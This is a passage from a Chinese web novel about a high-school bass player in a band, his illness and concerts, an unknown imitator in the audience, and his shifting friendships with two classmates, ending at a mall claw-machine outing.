其中最大的伤亡或许只有贺思钧,因为就发不发视频的争论,纪羽连着几天训练都没带上他。 纪羽挠挠脸,又挠挠手心,面对贺思钧越发直白的心理表露无所适从。 “我没说要把你踢了,你不在没人拍视频拿外卖。” 纪羽递出一个小台阶,贺思钧立马蹿上:“谢谢小羽,你是最好的贝斯手。” 纪羽哼唧:“我本来就是,还要你说……”- 梁子尧的回归比预计得要早。 一大早,纪羽打着哈欠走过露天长廊,就见一人在十七班教室前门站着,正聚精会神看着什么。 纪羽走近,发现他在看班级合照。 纪羽不喜欢这张合照,因为摄影师在喊三二一前就拍下了这张照片,阳光刺目,他在合照里眯着眼绷着脸,很凶。 偏偏展舒文还说,这张照片你和你哥有点像,纪羽简直不能更讨厌了。 于是他对梁子尧直接道:“看什么呢。” 其实他更想说“有什么好看的”,但这话一到舌尖,纪羽觉着腔调诡异地像极了纪律,还是不想话说得那么难听。 奇怪了,他对梁子尧居然不能好好地说话。 把一切怪罪在梁子尧讨人嫌上,会不会太恶劣了? “原来你高一时候是这个样子。”梁子尧转过头,带着笑意,嗓子低哑。 他看着瘦了一点,眉骨更突出,两颊微凹,笑起来时没那么贱了,竟然有几分稳重。 “这是分班之后拍的,应该是高二吧。”纪羽视线下移,“你没事了?” 梁子尧在他面前走了两步:“没事,只是摔了一跤还有点感冒,已经好了。” 空气突然安静几秒,纪羽还以为他会调笑几句“你好关心我”犯贱,他都想好了接茬,但梁子尧没说,纪羽也就说不出那句“滚”。 输掉比赛的打击看来真的很大,足以摧毁一个高中生的厚脸皮,还是梁子尧这样不同凡响的直男脸皮。 倒也没有说贺思钧的脸皮就很薄的意思。 “你打算什么时候兑现承诺。”纪羽扬起下巴。 梁子尧磨蹭:“什么…时候……” 纪羽见他似乎想逃避:“是男人说话就要遵守承诺,一言既出驷马难追,大丈夫一言九鼎,你自己说的你敢不遵守?” “我当然遵守,不过我还要再想想。” “你自己的秘密你还要想,不想说就算了。”纪羽作势要走。 “哎!”梁子尧拉住他肩膀,“我不骗你!” “嘶……”纪羽捂着肩膀推开两步,“你别扯。” 梁子尧当即抬起手,退后一步,视线落在他身上:“怎么了,你受伤了?” “没事!” 贝斯质量重,长时间背着容易磨断肩膀,几个小时下来肩膀基本是肿的,这几天连着训练,肿痛就没消过,梁子尧手劲不小,无意识一抓,纪羽半边胳膊都疼得发麻。 但梁子尧也不是故意的,只能是纪羽自认倒霉。 肩膀不舒服,也没了心思和梁子尧掰扯,纪羽甩下单肩背着的书包提在手里:“晚点再说吧,等你想好了再告诉我。” 梁子尧沉默一阵,低低应了一声,转身走了。 居然那么好打发,纪羽目光不由跟着他穿过窗户,走过后门。 “又是梁子尧?” 贺思钧把沉重的水杯放在纪羽桌面,唤回纪羽思绪。 “嗯,他自己在班级门口等着,我还以为有话和我说呢,结果就说了几句有的没的。他也挺倒霉的,不仅没跑赢还被撞伤了,不过好得也真快。”纪羽趴下,把脑袋搭在左手胳膊,“凭什么我肩膀会那么痛!” 贺思钧把他扶起来:“别趴着。换一条肩带吧,上次那条宽的不好用吗?” “好用……”纪羽纠结,“但是那条太丑了。” “至少它好用。”贺思钧说,“中午我们也可以在附近的琴行看看,再找一条合适的。” 可是现在那一条肩带特酷,和贝斯特搭,磨着磨着说不定就好了呢? 贺思钧在他肩头碰了一下,纪羽顿时瑟缩起来:“好吧,换掉!” 见纪羽痛得打颤,贺思钧哄着他到厕所涂点药膏,尽管纪羽不太情愿,为了不耽误训练还是同意去了。 穿过十八班时,贺思钧偏头,只见梁子尧正将眼睛从前边纪羽身上挪开,两道视线隔窗在半空中对撞,梁子尧无声勾起嘴角,挑衅般笑了一下。 第63章 纪羽对梁子尧和贺思钧之间的又一次无声交锋一无所知, 当然,就算他知道,也不会多在意。 他本来就算不上脾气好的那一类人, 只不过好性格是能表现出来的,而不需要他真的变成那种宽宏大量、慈悲心肠的十全好人。 在他身体不舒服的情况下, 他连掩饰都很少做,稍微了解他的人应该也都知道他的真面目了。 是以,肩膀劳损情况没有缓解反倒越发加重后, 纪羽就对梁子尧又记了一笔。 什么好好相处、冰释前嫌, 还是算了吧! 误打误撞地都能让他不好过,可能是天性不和。 学校里又不是一个说话的好地方, 教室里每一分每一秒都有人待着, 要说什么秘密不秘密的,也挺别扭。 更何况纪羽懒得走动, 精神状态空前萎靡, 可能是止痛药发挥了作用,但也让他没察觉从骨头里泛出的酸麻。 还没到中午, 纪羽就彻底趴倒在了桌面上, 体温节节攀升,李玄打了电话请家长来接, 纪羽是被扛出校门的。 再睁眼就到了家里,算好事, 说明他或许还能在联考前回到学校。 每年到秋冬季, 感冒发烧就是纪羽的家常便饭, 今年能坚持到十一月才出现这征兆,已经算是体质增强全面向好了。 但也没什么好骄傲的,要是真好, 也不至于考试前给他来这一套连招。 纪羽咬着牙从床上爬起来,又刷了两套卷子,肩膀痛得想打滚,总觉得自己患上了肩周炎。 徐梁和纪泽兰都被他吓到了,在他们印象里纪羽不是个对学习多有热情的孩子,顶多是考试前奋发图强一下,但要是能借生病免去学校,他能精神得蹬半宿被子。 像这样在病中还艰苦卓绝时常问什么时候能返校的纪羽,是几年前两人想都不敢想的。 孩子到底长大了。 发出这感叹之余,纪泽兰还是挺紧张担心的,生怕纪羽把自己逼太紧累坏了,拉着徐梁上山拜庙,求了好几张平安符,家里补品也是一天三顿地端上桌。 考试当天纪律开车送人去学校,低头就淌了两道鼻血,纪羽大肆取笑一通,明讽纪律虚不受补,结果考试结束当天就出了疹子,被火急火燎送医,路上擦了满下巴的鼻血,在医院挂了三天的水。 再回学校时,考试成绩早出来了,纪羽如愿以偿挤进前两百,贺思钧紧随其后刚好守门。他还特意要来了十八班的成绩单,想看看梁子尧的成绩如何,结果倒是没想到,梁子尧名次下滑几十名,跌出了两百五。 纪羽还看到十八班班主任把他拉在走廊边聊天开导他,梁子尧不知听没听进去,还朝他笑笑。 搞不懂这些人都在想什么。 这些人里当然还包括贺思钧,好不容易考到两百名,不趁热打铁继续赶超就算了,总把心思放在有的没的上,比如热衷于把纪羽所有能接触上的东西都缝上软垫。 贝斯背带上就被他缝上厚厚几层软布,不清楚里边塞了什么填充物,但确实挺舒服的,而且也不打滑,所以纪羽也没有和他计较这种小改动让阿雀人设下降0.5神秘属性值这点小事。 顺带一提贺思钧的拍摄、剪辑能力增长迅数,乐迷已经把训练日常当成小综艺在追,且时常催更。 临近年底,各种演出的邀约也多了起来,大大小小的事堆在承风一行人身上,倒是让四人越磨越默契,纪羽自个弄起bass line也越来越狂放,惹得辽光眼热不已几次说要不他转贝斯吧? 纪羽用一首强劲的电吉他曲打消了他的念头。 吉他都快保不住了,还妄图染指神圣的贝斯领域,做梦! 经过一周忙碌又充实的活动,纪羽虽然还有点感冒症状,但上台演出的激动完全可以让他无视这一点不适症状。 枯燥的学习之后在台上发泄一通确实很爽,纪羽终于能理解曲坚每次弹贝斯,如痴如醉要死了一样是为什么,虽然不好看,但是够劲啊! 但他显然也没想到他这一通歇斯底里,不仅没受嘲笑,还被乐迷盛赞是享受音乐的表现,特有美感,有段视频还转出了圈,在短视频平台上点赞三十几万,评论区简直不堪入目,老麦甚至尝试把他的手机调成青少年模式也没躲过这狂言浪语。 只能希望青少年们都很单纯只理解这些词句的表面意思吧。 在实力面前,有些“疙瘩”自然就会被抚平,尽管还有些风言风语,但“风铃”已经形成一批稳定群体,那场七月的小风波很快被淡忘,这只是一个必然要经历长久生命的乐队,生涯中小小的插曲罢了。 又一次演出即将圆满落幕,承风头一次挑了大轴。纪羽拨弦准备收尾,目光望向台下——每一次结束前他都会环视舞台下方,希望记住这一刻所有人脸上的神情。 本该完美的演出在最后出了道小小的错漏。 纪羽慢了半拍,虽然这在全曲中看来无关紧要,但不是精益求精的阿雀会犯的错。 下台时辽光正犹豫着是要戳一戳阿雀这小小的伤心处,把他惹到炸毛,还是端着长辈的架势安慰一下拉一拉自己的逼格,毕竟从前失误的人一般都是他嘛! 可纪羽却是头也不回地跑下台,连贝斯都没来得及摘就冲进了观众离场的通道,贺思钧紧随其后。 沉重的呼吸声湮没在人流中,通道昏暗,纪羽又在拐角的暗处,几乎没有人发现一分钟前还在台上的贝斯手就在离他们不到一米的地方,紧盯着他们离场。 他一定还没走,他就在这些人里面。 纪羽呼吸急促,外界的声音在耳中不断放大,脚跟砸在地面的声响让心跳同频,年轻的男男女女发出响亮的笑声,背包上的挂坠一下一下打着布面。 那人在哪里? 他的声音是不是就混在这里面? 他要看到他、听到他、找到他! 纪羽以为他要找到那个人的执念在消解,因为这对现在的他来说无足轻重,因为此后哪怕是解散,承风也不会再有新的贝斯手,他们中的任何一人缺失,承风就不复存在。 大概他从小到大就是执拗的人,拼图缺了一块,他宁肯不吃饭不睡觉也要找到,就算是纪律买来全新的完好的拼图,他也绝不罢休,他一定要找到最初丢失的那一块。 他小心眼、他虚荣,有时又不合时宜地自负,他不解开心结就会难受得要发疯,更何况心结还主动在他面前晃? 贺思钧从另一边通道走来,压低声音说道:“VIP通道里没有他。” 在纪羽变了脸色手臂滞空的一瞬他就意识到有什么事发生了,他在台侧视线受阻,还不待找到人演出已经结束。 但既然能让纪羽一眼认出,那就必然是仿照了他的打扮。 纪羽咬牙:“他挑衅我!” 胸口要崩裂似的胀得难受,纪羽怒火中烧,恨不得要将人活剥了! 扒干净衣服丢到大街上,让所有人都看看他怎么那么不要脸? 玩一次换装模仿就得了,今天他都站在台上了,居然还敢在台下照抄上一次他的打扮!他可是为了这套穿搭想了整整两个晚上! 纪羽可算知道为什么班级里女生为什么那么讨厌学人精了,气死了又没办法把人抓起来打一顿。 贺思钧走近拍他的背顺气:“就算一时找不到,待会我也可以想办法去调监控。” “不行,我现在就要抓到他!”纪羽不错眼地盯着仍在退场的观众,“他肯定没走出去。” 纪羽跑急了还有点鼻塞,声音闷闷的哑,倒是比往常的声线多出几分气魄,但在贺思钧看来,就好像被一只淋湿的小雀狠狠咬住手指,尽管小雀已经尽可能地凶狠,尖尖的嘴巴和抬起的翅膀无一不在彰显威慑。 可羽毛已被雨水浇透,瘦得只剩骨架。 贺思钧只能听从纪羽的安排。 “先把贝斯给我好吗,然后我让其他人也来找。” 纪羽这才察觉到肩膀上的重量,仗着没人看得见,在口罩下龇牙咧嘴地摘了贝斯。 “那你去叫人,我在这里等……” “等谁?” 梁子尧走到射灯下,面部骨量很重,皮相上的那仅剩的柔和被驱散,竟然显出几分刻薄阴冷之感。 “你怎么在这?”说出口纪羽就后悔了,因为他作为阿雀不该认识梁子尧。 “真的是你,纪羽。”梁子尧眉眼舒展开,驱散了像是错觉般的湿冷感,极为热情道,“你在台上我还不敢认,看到贺思钧在这我才认出来,你居然已经是乐队的贝斯手了!” “嗯……”纪羽上下打量他,贺思钧穿一身再普通不过的廓形卫衣加牛仔裤,都很宽松,看起来没法在外面套一条夹克外套。 可梁子尧为什么会在这? 贺思钧像是猜到纪羽心思,冷声道:“你为什么在这?” “啊,”梁子尧笑意落下几分,向纪羽靠了一步,眼神明显带着激动,看着纪羽说道:“上课还是挺累的嘛,找点事情放松放松,不过幸好我来了,要不然,都不知道有那么有意思的事。” 第64章 “有趣个屁!傻叉!” 突如其来一声脏话不由令梁子尧表情微滞, 在片刻安静后,他低眉顺眼道:“怎么了,我说错话了吗?” 眼看着场馆里人员所剩无几, 梁子尧又冒了出来在这嘚吧,纪羽压着怒气:“你一个人来的?” 是不是有同伙? 梁子尧嗯了一声, 又道:“有我能帮忙的吗?” 见纪羽露出的一双猫眼都透着火气,他脾性自然而然地软下:“虽然我不知道发生了什么,但你别生气了。” “我没生气, ”纪羽深呼吸, “没和你生气。” 对,就是这样, 纪羽, 你是成年人了,你要学会一码归一码, 不能迁怒无关人员, 尽管梁子尧看起来觉得很傻叉、说话莫名其妙地让人上火,但你也不能迁怒别人。 心平气和, 心平气和! 梁子尧:“真的吗?” “真你大爷。”纪羽心平气和道。 贺思钧在他眼神示意下暂时离开, 纪羽扯下口罩,场馆内温度低, 凉意扑面而来,舒缓了纪羽心头的燥意。 “现在说吧, 你的秘密是什么。” “我的秘密?” 梁子尧眼神放空, 他手插兜:“我想想……你想听什么样的?” 纪羽不假思索道:“和我有关的。” “和你有关的……”梁子尧似是苦恼, 微微偏头,“和你有关的应该不算是秘密了吧,毕竟如果有一件事我知道, 你怎么会不清楚呢?” 纪羽的眼睛眯了起来。 梁子尧手指在鼻尖挠了一下:“啊,前两天我们班有女生让我给你送东西来着,我没送,这算不?” 纪羽不说话,就这么盯着他。 “好吧,好吧这个不算。”梁子尧败下阵来,“我认真说一个,不过,我也不知道这算不算秘密。” 他垂下手,收敛神色,微微俯身:“你有没有觉得我的脸很熟悉?” 因为梁子尧突然弯腰凑近,纪羽不由自主产生想后退的冲动,硬生生忍住了,极为严肃地面向这位入侵者。 “我记不清你的脸了,但我知道我们在小时候应该认识。你要说的就是这个?” 话音落下,梁子尧的表情分明没有变化,纪羽却似乎能感受到从他身上油然升起的强烈的愉悦气息。 “你记得我。”梁子尧咬字很轻。 “也不算吧,你当时姓马吧,你改名了?我记性不太好,忘了你之前叫什么名字。” 奇怪的,梁子尧没有立刻回应,或许是因为纪羽看起来对这件事的反应平平,伤害了他突然变得敏感脆弱的心。 “我父母离婚了,我随我妈的姓。”梁子尧说。 纪羽没想深入探讨此事:“哦,不好意思。” “没事。” 既然如此,纪羽迅速揭过:“那我可以再问一个吧,你也说了,这不算是秘密。” 梁子尧直起身,苦恼道:“不算吗?” 纪羽:“不算。” “现在…………” 纪羽提高音量,偏过脸咳了两声,皱眉道:“你说什么,太小声了我没听清楚。” 梁子尧:“没什么。” 就知道他嘴里没一句实话和有用的,纪羽有点后悔把时间浪费在梁子尧身上。 早该在知道那姓莫的存在后就不管梁子尧了,装神弄鬼上蹿下跳的才不是观众期待的“凶手”。 纪羽:“算了,最后再问你一个问题。” 梁子尧摆出洗耳恭听姿态:“请说。” “你送我那把贝斯,是不是故意的?” 今天梁子尧出现在场馆里,曾向他发出一起去音乐节的邀约,可以说是在和他产生纠纷后才产生的兴趣,但如果他早就猜出阿雀就是他呢,以此试探也不是不无可能。 至少他应该知道,梁子尧是不是一个真正意义上的“无辜”群众。 “啊,这个。我只会做贝斯。”梁子尧拖长语调,吊儿郎当的,真话假话始终难以辨别,“毕竟弦少嘛。” 纪羽还想再追问,后头辽光扯着嗓门喊他。 梁子尧也直起腿,朝他眨眨眼:“你队友在叫你吧,那我先走了,学校见。” 纪羽只得道:“别说出去。” “当然!”梁子尧爽快地应声,临走前在纪羽手心里塞了两块糖,“给你,香草味的。” 场馆里灯光灭了,逗留着拍照的几人也已经离开,只剩下几名工作人员收尾。 十多年没换过包装的糖纸脆响,纪羽收拢掌心,贺思钧走到他身侧。 “卫生间里我都看过了,没有人,也没有谁脱下的衣服。” 纪羽低低应了一声,贺思钧还想再安慰他几句,纪羽却说:“走吧。” 他返回时的脸色实在不好看,承风也没像往常似的互相打趣,收拾了东西就各回各家。 监控虽然被贺思钧通过一些手段拿到手,但帮助不大,那人全程戴着口罩帽子,挤在人群中,在画面里糊成一团,根本无法辨别长相。而场馆外通道监控角度歪斜,只能看到人影闪动而无法得知那人是什么时候混在人流中离开的。 这无疑很令人挫败,好像桩桩件件都在阻挠着他找到那个人。 是莫满吧,应该是他吧。 在当场揭开他的伪装前,一切似乎都还要按下一个问号。 但既然他会出现一次,就说明还会有第二次,第三次。届时,他还会有这样的好运气吗? 屋漏偏逢连夜雨,贺思钧不知道搞了点什么,不仅那台二手电脑报废了,居然还接到了上头电话,请他上门喝茶。 纪羽挺担心,从出租屋铺得越发厚实的床褥上坐起,难得关怀道:“你不会有事吧?” 贺思钧淡定地拉上外套拉链:“没事,但我可能会晚回来,手机不要静音,待会我打电话给你。” 纪羽以为他是要和自己讲谈话内容,没想到是叫他起床上课,没说几句就挂了电话。 纪羽忧心忡忡地替贺思钧告了假,一整个下午都没等到人回来。 难不成是被拘留了? 在这之前,纪羽是从没想过贺思钧会犯法的,毕竟贺泰安是往栋梁的方向培养儿子,先不说贺思钧过得幸不幸福,至少他是一个正直的人。 现在倒好,军校不考了,一门心思要和他谈恋爱,还在网上学会了大额打赏,会查人信息,甚至可能涉足了一些灰色地带。 纪羽现在无比赞同老师们奉行的去网络化教学理念,电脑坏得好!贺思钧上网把思想都上偏了,纪羽现在严重怀疑,就是网络上那些杂七杂八的信息太多才让贺思钧从“兄弟抱一下”跨越到“兄弟亲一下”的思维模式! 贺思钧可以不是一个好儿子不是人才栋梁,但至少得是一个好公民…… 性向可以歪,这笔直的根不能歪啊。 这么突如其来的一出,叫纪羽完全忘了先前对贺思钧没成年的侥幸,隐隐还担心是不是他作为年长八个月的长辈引错了路,想着需不需要负荆上贺家请罪。 一直在学校待到最后一节课结束,纪羽才在校门口看到了贺思钧。 准确来说,是贺思钧在等他。 “小羽,接下来几天我不在宁海,我和餐馆打好招呼了,每天送饭到家里,你要是不想出去,就让他们送到校门口,叫柳承陪你来拿。” 贺思钧换了身衣服,像是急匆匆赶来的,说完了话就要走,纪羽赶了几步拉住他:“等等!” 纪羽努力平复呼吸,心跳砰砰砰的:“别逃了,我和你去自首!” 纪羽有点语无伦次:“我是成年人,也算你半个监护人,这件事情我都知情的,不能算是你一个人乱弄,你和警察说清楚没有,其实你也是不小心的,你能查出来什么呀……” “小羽。”贺思钧握着他冰冷的手,“你先冷静一下,我没有犯法。” “你没有被抓?”纪羽吐出一口气,“你没骗我吧?” “我没有骗你,我只是有事要去做。” 贺思钧的冷静让纪羽不规律的心跳平复下来,他稳了稳心神,又问:“是什么事?什么时候回来?你怎么和干爸干妈说?” “我去赚钱,最多五天就回来,爸妈那里我会说好,你别担心。” “我不担心。”纪羽说。 贺思钧已经能听懂他的口是心非,攥了攥他的手掌:“我现在要走了,晚上只有这一班车。” 知道贺思钧多半是真的没事,纪羽不急了:“那你走吧。” “嗯。” 纪羽提声:“那你还不松手?!” 贺思钧松开手,滚远了,纪羽第二天果真没再见到他。 纪律前不久也出差了,讨人厌的家伙走了两个,纪羽想,可能是老天也想给他一个清净。 贺思钧不在,纪羽也懒得再去出租屋,把订餐退了,照旧和展舒文、柳承一起到食堂吃。 刚经历过一场联考,一中整体成绩不错,复习进度稳中放缓,这周没有演出安排,除了辽光的业绩不达标每天都在群里哭喊显得吵闹外,日子难得平静下来。 只是打定心思冷待的梁子尧还是一如既往地磨人,但意外地很会和柳承、展舒文打交道,不知不觉就让他挤上了桌。 纪羽不是很想和他说话。 第65章 纪羽认真回想了一下, 他对梁子尧的排斥从何而来。 说起来,梁子尧其实是个很混得开的人,大方爱说笑, 对小事更不计较,乐于助人经常替人带饭, 在学霸如云的一中成绩也不差。 照理来说,他是一个挺讨喜的人。尤其是在高三个个神经紧绷,同学间说错几句话就容易起摩擦的时候, 他神经大条, 从不因为口角和人起冲突。 就算是纪羽和他还不熟悉的日子里,也知道隔壁班有个男生很活泼在班里人缘挺好。 对外放的情绪有抵触是一回事, 另一种原因则是纪羽实在很讨厌受欢迎的事物, 这和是否喜欢舞台上得到的欢呼声无关,他只是排斥外溢的情绪。 不安定、充满变数、难以掌控。 有时账号后台收到情真意切的告白时, 纪羽也会紧张, 怕太激烈的爱意持续不了多久,又怕表露真心时夹杂的“为你好”的关切。 太多的声音, 身处其中纪羽是无法分辨这是好或是不好的。就像曾经那些调转话头对他口诛笔伐的“情书”, 也让纪羽信以为真过。 纪羽需要时间慢慢梳理,他从来不是一个应变能力强的人, 辽光有时捉弄他递过话筒,他的脑袋就会一片空白, 需要很久才能找回自己的声音。 真切的、长久的接触与了解才是能让纪羽安心的, 他要自己抚摸过大象的全身, 才可以对这件未知做出判断,尽管在这之前为了掩盖焦躁他不得不将自己伪装得强硬又“傲慢”。 这样的虚张声势让纪羽蒙混过关许多次,但也叫他懊恼反复怀疑, 纪羽很多次后悔面对梁子尧或是其他的让他充满不安定感的人时,该以更冷静的姿态回应并对待。 比如在梁子尧第一次将贝斯充当吉他送给他时,或许他不应该表现得那么反感,态度恶劣。 他是不是能伪装得更好一点? 然后是将对模仿者的嫌疑与反感转移到梁子尧身上,对“破案”的进展起到的作用几乎是零,明明他最讨厌被情绪影响,怎么能又犯这种低级错误呢! 仔细想想,一直都是梁子尧在热脸贴他的冷屁股嘛,总不能把一切归结为梁子尧段位高超反倒把他的情绪搅得乱七八糟吧。 纪羽深呼吸,想可能是激素治疗对他的影响还没有完全被代谢掉,但情绪失控已经是往事了,绝对不能再被乱七八糟的想法控制! 纪羽想试着和梁子尧正常地聊天、交朋友,毕竟在这之前他们也算是旧识吧。 曾经的梁子尧总拉着他把贺思钧排斥在外,现在他似乎已经改掉了这个坏毛病,和柳承也能聊得很好,他把手臂搭在柳承肩膀上都没受到抵触。 “哦,我还知道有个冷笑话,你们知道什么东西是红色的,但闻起来像蓝色油漆吗?” 梁子尧自问自答:“是红色油漆。” 好冷的笑话,纪羽完全不能理解展舒文为什么会被激起斗志和梁子尧大战起来,而柳承在其中当了裁判。 “什么东西有五个脚趾头但不是你的脚?” “我的脚。” “有一个穿越者走到街头问现在几几年,路人会回答什么?” …… 纪羽索然无味,决定走开。 梁子尧叫住了他:“纪羽,你不吃了?” 餐盘几乎没动过。 纪羽:“我困了。” 他不要人陪,一个人先走了。 梁子尧不只盯着他一个人骚扰,柳承和展舒文也交到了新朋友,这都是好事,纪羽才不会阻拦。不会。 教室里已经有人趴着了,高三就是这样,每节课间都栽倒一大片,0%抬头率在上、下午第一节课后算保管能达标。 纪羽也趴下,没过一会儿大部队回来,聊了一会儿声音渐弱,门窗都合上了,白雾爬上玻璃,室内鼾声渐起。 云层之下灰蒙蒙,没有恼人的日光,是叫人好睡的午后。 “咚”。 是肘节撞击桌面的声响,纪羽抱着胳膊把痛呼压回喉咙,侧身弓着腰,又抱住了小腿。 好在没吵醒谁,旁边的人翻了个面,呼噜打得更响,纪羽青白着脸,咬了咬牙伸手揉捏紧绷的小腿肚。 祸不单行,人又刚好有一双腿,抽完左腿抽右腿,疼得纪羽差点从座位上翻过去。 什么叫由俭入奢易,由奢返俭难?这就是! 纪羽开始想念出租屋里带着薰衣草香的枕套和厚重的被子。 但要他一个人走那么远的路,还是算了吧。 隔天中午,在梁子尧的怂恿下,纪羽莫名被挟持着走出校门,到一家烫菜小店坐下。 梁子尧问:“想吃什么,我去拿,汤底你看下菜单要什么。” 店不大,生意倒很好,要不是刚好走了一桌,还轮不上他们四个。 柳承还没坐下就开始擦桌子,直到锃光瓦亮地能倒映人脸。 展舒文跑着回来:“我问过了,除了菌菇汤底的你喝不了,其他的应该没事,嗯,辣汤也不要点。” 纪羽:“那就吃番茄的吧。” 梁子尧:“那菜呢,你有什么忌口?” 展舒文抢答:“他不吃太硬的根茎比如说芹菜茭白,也不吃黏糊的,特别是秋葵,但是芋头除外,煮熟的所有萝卜他都不吃,绿叶菜要叶片饱满的,也不要都是叶子,肉不吃有气味的尤其是羊肉,鱼不吃有刺的也不吃巴沙鱼,虾也不……” “都吃!” 纪羽咬牙切齿打断道:“我都吃,随便你点!” 展舒文鼓掌:“那真是太了不起了。” 柳承忙起身,对梁子尧说:“还是我和你一起去吧。” 柳承能主动提出去点菜,简直超出了纪羽的想象,他以看着鸡崽破壳般的柔和目光鼓励柳承:“那你去吧。” 两人一背过身,纪羽就压着展舒文嘀咕:“你干嘛说那些没用的。” 展舒文:“我只是说实话。” 纪羽:“又不是点你回答问题!” 展舒文:“你又不好意思了。” 纪羽瞪眼:“我不是不好意思。” 展舒文倒茶:“哦?” “是没必要,我和梁子尧又不熟。” 展舒文自斟自酌:“不会吧,他和你关系最好。” 看她喝得陶醉,纪羽也要了一杯茶,入口苦涩,他皱着脸咽下了:“你从哪儿看出来的?” 展舒文指了指梁子尧:“很明显啊,他不是在追你吗?” “?” “不是吗?” “你最近又看了什么电影?” “《断背山》。” “我不是同性恋。” 展舒文遗憾地:“哦。” 纪羽敲桌子:“你在遗憾什么?不要每回一看电影就把主角往别人身上套,还有梁子尧也不是同性恋!” 展舒文:“你怎么知道他不是,他告诉你了?” 纪羽一噎,片刻后反击:“谁会刻意说这个?还有你从哪看出来他在追我?” “只有你在的时候他才说冷笑话。” “……就这样?有没有可能是他意识到冷笑话真的很无聊。” “这顿饭他请客,说让我们一定要把你带出来。” “还有呢?” “他变帅了,人为知己者容。” 纪羽呛了一下:“他哪里变帅了,你观察得那么仔细?” 展舒文上推眼镜:“运动会前他不是这个发型,脸更宽一点明显减肥了,发色也染过了,你能替我问一下染膏牌子吗,色泽度很好。” 纪羽仔细打量:“他那头发颜色不就是黑发吗?” “黑色也有很多种,”展舒文侃侃而谈,“他这个颜色比之前浅了一度,有点偏棕,就像你的一样,比纯黑要浅,是暖色调,贺思钧的头发就是冷色调的,像蓝黑。” 纪羽感叹:“你每天都在学居然还有时间观察这个。” 展舒文摆手:“只是消遣。话说回来,他真的不是喜欢你吗?” 纪羽扯起一边嘴角:“不可能。” “那他为什么这么关注你,还请你…哦请我们吃饭。” “我怎么知道……”纪羽灌了一大口茶水,“可能是因为有意思吧。” 梁子尧经常说这句话,但具体哪儿有意思,纪羽想不明白。 “哦——”展舒文打量纪羽,然后点点头,“我懂了。” “?你懂什么了。” 展舒文朝他笑了一下,纪羽打了个冷战。 这一会儿,梁子尧和柳承也回来了,小心地将滚烫砂锅推到桌面。 “好烫,他说很快,我们就在那等着了,趁热吃吧。” 梁子尧坐下,顺便给纪羽拿了碗筷。 都递到眼前了,纪羽不能装没看到,闷声闷气说了声谢谢。 “谢什么,跟我有什么好客气的。” 展舒文突然插嘴:“梁子尧,你很喜欢纪羽吗?” 柳承:“?” 纪羽捏紧了筷子,无助地闭上了眼。 “喜欢啊,毕竟我们小时候就认识了。”梁子尧大大方方道。 展舒文很惊奇道:“你也和纪羽从小就认识了,那怎么之前没交流呢?” 梁子尧偏头看了一眼纪羽,笑道:“可能太久了吧,只是一起玩过一段时间,本来想等纪羽想起来,但他好像完全认不出我了。” “哦,那你和贺思钧应该认识吧,毕竟他们是从小一起长大的。”展舒文漫不经心道。 “啊……”梁子尧夹起一块木耳,嚼碎,“那倒不是很熟。”—— 作者有话说:几几年就去洗澡。 作者没有任何幽默细胞,所以所有冷笑话均摘自网络。 第66章 纪羽平常不到街头小店来吃, 大中午这么着聚餐也是头一回。 偶尔吃个新奇也还不错,店家掺着小米煮的米饭香软,纪羽不知不觉就着菜吃了不少, 回过神来已经撑了。 梁子尧早早结了账,等人休息好了才道:“走吧。” 出门走了一会儿, 柳承步子挪得越来越慢,纪羽发觉不对劲,拉住他:“怎么了?” 柳承捂着肚子, 脸色涨红。 这离学校还有段路, 纪羽问:“附近有公厕吗?” 梁子尧打开手机地图:“附近有个商场是最近的。” “那就去那里。” 外边寒风瑟瑟,商场里边音乐悠扬四季如春, 因着是工作日, 也没什么人,纪羽眼尖领着柳承去了洗手间。 “你慢慢来, 反正我们就在附近逛逛。” 这一慢就是十多分钟, 学校里午休早该开始了。 “今天中午开研讨会,老师不在, ”梁子尧说, “上课前回去就行。” 反正都晚了,那也不差这点时间, 四人索性在商场找地方休息,逛着逛着就进到了电玩城。 梁子尧大手一挥, 兑了一篮游戏币, 展舒文拉着纪羽到娃娃机前:“我想要那个鸭子, 柳承要那只恐龙。” 纪羽点点头,摇了两竿就把鸭子抓了上来,捏在手里看了看:“这是鸭子还是鸡?” 柳承:“像小鸡。” 展舒文毫不在意:“好看就行了, 物种不重要。” 纪羽和两颗豆豆眼对视。 好看吗? 把鸭子塞给展舒文,纪羽换了台机器,三两下就将恐龙抓了上来,也很丑,但他们高兴就行。 又投了两个游戏币,纪羽偏头问梁子尧:“你要什么?” 梁子尧看了看:“你觉得哪个最好看?” 纪羽白他一眼:“我随便抓一只,你不要就算了。” 梁子尧:“你抓的我都要。” 纪羽只当没听见,全神贯注地盯着钩爪,玻璃上映射冷白灯光。 梁子尧屏息看着。 玩偶落进洞口,哐啷一阵响,纪羽弯腰随手拿起向旁边一递:“喏,这个最好抓。” 是只兔子,耳朵缝得有些歪,一只立起,一只倒下,没有修剪的毛发遮住了黑漆漆的豆豆眼,有点凶相。 “和你好像。” “哪里像了?”纪羽回头怒视,“你再乱说就丢了。” “那可以丢给我吗!” 稚嫩的童声从底下传来,不足大腿高的豆丁小孩仰着头问道:“我想要这只兔子,妈妈抓不到!” “不可以随便要人家东西!”孩子妈妈抬手招她回来,小女孩躲到纪羽和梁子尧腿边,不便下手。 她显然是个机敏的,也不怯场,脆生生对着梁子尧道:“哥哥要丢掉的话可以丢给我,我喜欢它。” 梁子尧低头看她一眼,笑意未变,蹲下身去,纪羽以为他会顺着小女孩的话将玩偶送给她,没想到他还往怀里藏了藏。 “不可以哦,因为这是那个哥哥送给我的,我也很喜欢,所以不会丢掉。” 小女孩没有失望,旋即想出了另一个解决方案:“那我想买!我有钱!” 她从随身携带的小包里翻出零散的纸币,捏在手里娴熟地问:“要多少钱?” “我不卖。”梁子尧狠心地拒绝,抬眼看着纪羽,“这是这个哥哥送我的礼物,我不会卖掉也不会送给其他人,如果你送给妈妈的礼物,没有经过你的允许被妈妈送给别人,你是不是也会不高兴?” “好吧……”小女孩被说服了,丧气地垂下手。 从没预料过梁子尧也会说这种话,纪羽眨动眼睛,说不清内心的滋味,于是俯下身对小女孩道:“我可以再帮你抓一个新的。” 小女孩高兴地蹦起来,贴着纪羽的大腿软软地依着:“真的吗哥哥,妈妈说抓一只很难很难。” 纪羽手指蹭到女孩热乎乎的脸颊,收起手:“有一点难,但是没关系,我可以抓到。” 在大部分小孩一年都去不了几次电玩城的时候,纪羽就有一□□属于自己的抓娃娃机了。纪律把钩爪调得很松,说只要他能抓上三个娃娃,就能到他房间里睡觉。 